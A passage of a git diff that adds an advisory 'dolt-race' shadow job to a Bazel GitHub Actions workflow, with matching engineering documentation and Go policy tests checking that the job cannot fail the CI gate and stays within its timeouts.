nightly.yml's call) gate nothing. bazel-dolt-race (the +# dolt-server + proxied union shadow, mode remote on PRs and merge groups +# only) cannot fail the gate either: no output, job-level continue-on-error. +# The gate still waits for it, as for every job of the call (see its comment +# and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "dolt-race Shadow"). # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -1983,6 +1987,173 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # Item 5, Phase 1 (scripts/bazel_dolt_race_shadow_test.go): the advisory + # shadow of a union lane. One `bazel test --config=dolt-race` runs the + # dolt-server and proxied-server tiers together (.bazelrc: exactly the + # union of --config=doltserver's and --config=doltserver-proxied's lines, + # one tag filter for both), beside bazel-doltserver and bazel-proxied, so + # one client per group of lanes can be compared with the two it would + # replace (end time, runner minutes, test counts and results) before any + # cutover. Each member target's test action key is unchanged, so the shadow + # and the member lanes share cached results; and rbe-west deduplicates + # identical in-flight executions (confirmed by the farm maintainer: + # NativeLink 1.7.1 subscribes a second identical Execute of a cacheable + # action to the operation already in flight), so the shadow adds no + # executions. + # Advisory: it cannot fail the gate. Job-level continue-on-error (a failed + # job otherwise fails the whole call, whose result pr.yml's ci-gate + # requires as BAZEL), no workflow_call output, no job outputs, no job in + # this file needs it, and no gate script or caller names it. The gate does + # wait for it: ci-gate needs pr.yml's bazel call, which completes only when + # every job in it has finished (success, failure or timeout), so a slow + # shadow delays the gate and the merge queue. continue-on-error does not + # cover a job GitHub cancels at its own timeout-minutes, which could turn + # the call red: every step has a timeout, and the job's exceeds their sum + # (TestBazelDoltRaceShadowIsAdvisory). Mode remote only, on + # same-repo pull requests and merge groups (mode remote on a pull_request + # is never a fork): no fork mode, no cache or local mode, and not on push, + # nightly, dispatch or bazel-farm.yml's call. Its ci-analytics LANE is + # dolt-race. Removing it is the rollback; nothing reads it. + bazel-dolt-race: + name: dolt-race + needs: rbe + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }} + # At least every step's timeout-minutes plus 5 (and the test step's plus + # 10): a hung step then fails the job (continue-on-error) before GitHub + # cancels it, which continue-on-error does not cover + # (TestBazelDoltRaceShadowIsAdvisory). bazel-proxied's steps have no + # timeouts but its test step's; these bound the rest. + timeout-minutes: 55 + continue-on-error: true + steps: + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + timeout-minutes: 5 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + timeout-minutes: 1 + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + + - name: Set up Bazel + id: bazel + timeout-minutes: 5 + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + BAZEL_FORK_REMOTE: ${{ startsWith(needs.rbe.outputs.mode, 'fork-') && 'true' || '' }} + RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} + RBE_FORK_PR: ${{ github.event.pull_request.number }} + + # As in bazel-proxied. + - name: No test target is marked flaky + timeout-minutes: 3 + run: | + flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" + if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 + fi + + # Both tiers' shards at once: 27 dolt-server + 35 proxied test actions, + # under the remote-exec config's 64 jobs. The step timeout is + # bazel-proxied's (the longer tier on rbe-west). + - name: bazel test //... --config=dolt-race + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=dolt-race ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=dolt-race: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # The member lanes' checks over the union's BEP: bazel-proxied's (the + # dolt-server lane has none). check_shard_coverage ignores targets it + # does not list; check_testcases checks every target, so it covers the + # dolt-server tier too, which bazel-doltserver does not check: a + # dolt-server shard that runs no test turns this job red while both + # member lanes stay green. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + timeout-minutes: 2 + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Every listed test ran in its shard + if: ${{ always() && steps.test.outcome != 'skipped' }} + timeout-minutes: 2 + run: >- + python3 tools/bazel/check_shard_coverage.py + --bep "$RUNNER_TEMP/bazel-bep.json" + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 34 + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + timeout-minutes: 3 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: bazel-dolt-race-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 2 + env: + LANE: dolt-race + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-dolt-race-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: # the conformance and 16-shard full-suite variants of diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index ce91016b0..6b6a98be0 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -620,6 +620,39 @@ job's `if:` or rotating the key, in either of two ways: step's own kill switch, checked before any network call. Deleting the variable does not disable pre-warming; it restores the default of 1. +## dolt-race Shadow (Not Required) + +`bazel.yml`'s `bazel-dolt-race` job (check name `Bazel / dolt-race`) is an +advisory shadow, not a required check. It runs +`bazel test //... --config=dolt-race`, the union of `--config=doltserver` and +`--config=doltserver-proxied` with one tag filter for both tiers, beside the +`bazel-doltserver` and `bazel-proxied` lanes. Its purpose is to measure one +client per group of lanes against the two lanes it would replace (end time, +runner minutes, test counts and results) before any cutover. Each member +target's test action key is unchanged, so the shadow shares cached results +with the member lanes. + +- It runs in mode `remote` on `pull_request` and `merge_group` events only. + It never runs in a fork mode (`fork-ro`, `fork-rw`), in mode `cache` or + `local`, on `bazel-farm.yml`'s call, on push, nightly or dispatch. +- It cannot fail the gate. It has job-level `continue-on-error`, so its + failure cannot fail the call's aggregate result (`BAZEL`). It has no + `workflow_call` output, no `bazel.yml` job `needs` it, and `pr.yml`, + `ci-gate.sh` and `bazel-gate.sh` never name it. +- The gate still waits for it. `CI Gate` needs `pr.yml`'s `bazel` call, and + a reusable-workflow call completes only when all of its jobs have finished + (success, failure or timeout), `continue-on-error` ones included. A slow + shadow therefore delays `CI Gate` and the merge queue, up to its + timeout. `continue-on-error` does not cover a job GitHub cancels at its + own `timeout-minutes`, so every step has its own timeout and the job's + (65 minutes) stays at least 5 minutes above their sum and 10 above the + test step's (policy-tested). A hung step then fails the job, which + `continue-on-error` covers, before GitHub would cancel it. +- Its ci-analytics `LANE` is `dolt-race`. +- Policy: `scripts/bazel_dolt_race_shadow_test.go`. Removing the job, its + `.bazelrc` config and its line in `.github/scripts/rrc-lane-commands.txt` + is the rollback; nothing reads them. + ## Remote Repo Contents Cache A cold lane client re-runs its repository rules (gazelle's `go_deps`, the Go diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index b3d3294a1..b5664d7a6 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -35,6 +35,7 @@ go_test( srcs = [ "bazel_autofix_push_test.go", "bazel_cache_mode_test.go", + "bazel_dolt_race_shadow_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", "bazel_go_repository_tools_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index 8212d4efd..74a0de735 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -225,7 +225,9 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { // no longer forwards the app secrets either, so there is no // audience left for pre-warming in fork-ro or fork-rw (see // bazel.yml's comment on the job). - case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")): + // Nor does a shadow lane (bazelShadowLanes): mode remote on + // same-repo PRs and merge groups only. + case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")) && bazelShadowLanes[name] == "": t.Errorf("%s does not run in mode %s (every lane runs remotely)", name, mode) case mode == "cache" && (name == bazelIntegJobName || name == bazelCmdDoltJobName) && !runs: t.Errorf("%s does not run in mode cache", name) diff --git a/scripts/bazel_dolt_race_shadow_test.go b/scripts/bazel_dolt_race_shadow_test.go new file mode 100644 index 000000000..0b6008047 --- /dev/null +++ b/scripts/bazel_dolt_race_shadow_test.go @@ -0,0 +1,305 @@ +package scripts_test + +import ( + "cmp" + "os" + "path/filepath" + "slices" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// The dolt-race shadow (item 5, Phase 1): bazel.yml's bazel-dolt-race job +// runs --config=dolt-race, the union of --config=doltserver and +// --config=doltserver-proxied, in one `bazel test` beside the two member +// lanes, so the union-job model can be measured against them before any +// cutover. It must be advisory: no workflow_call output, nothing in pr.yml's +// gates or bazel-gate.sh/ci-gate.sh, and a failure that cannot fail the +// call's aggregate result (BAZEL) that pr.yml's ci-gate requires. It cannot +// fail the gate, but the gate still waits for it: ci-gate needs the whole +// bazel call, which completes only when every job in it has finished. + +const ( + bazelDoltRaceJobName = "bazel-dolt-race" + bazelDoltRaceConfig = "dolt-race" + // Mode remote only, and only on same-repo pull requests and merge + // groups (mode remote on a pull_request event is never a fork: forks + // get fork-ro, fork-rw or cache). Not on push, nightly, dispatch or + // bazel-farm.yml's pull_request_target call. + bazelDoltRaceJobIf = "${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }}" +) + +// bazelShadowLanes: bazel.yml jobs that run beside gated lanes only to +// measure a change to them, and report into nothing (no job or +// workflow_call output, no gate id, job-level continue-on-error), with the +// reason. TestBazelLaneIsGated and the continue-on-error checks carve them +// out by this map. +var bazelShadowLanes = map[string]string{ + bazelDoltRaceJobName: "item 5 Phase 1: the dolt-server + proxied union beside its member lanes, advisory until a cutover PR", +} + +// bazelDoltRaceJobTimeoutHeadroom: the minutes the shadow job's +// timeout-minutes must exceed its test step's (TestBazelDoltRaceShadowIsAdvisory). +const bazelDoltRaceJobTimeoutHeadroom = 10 + +// bazelDoltRaceJobTimeoutMargin: the minutes the shadow job's timeout-minutes +// must exceed the sum of all its step timeouts. +const bazelDoltRaceJobTimeoutMargin = 5 + +// bazelDoltRaceMergeQueueTimeout: the merge queue's check timeout (ruleset +// merge_queue.check_response_timeout_minutes). CI Gate waits for the shadow, +// so the shadow's job timeout must stay below it or a hung shadow drops the +// group from the queue. +const bazelDoltRaceMergeQueueTimeout = 60 + +// The union's members, and the tag filter each owns. +var bazelDoltRaceMembers = []struct{ config, tag string }{ + {"doltserver", "dolt-server"}, + {"doltserver-proxied", "dolt-server-proxied"}, +} + +// bazelRCConfigLines returns .bazelrc's option lines for --config=name +// (any command: test:name, build:name, ...), as "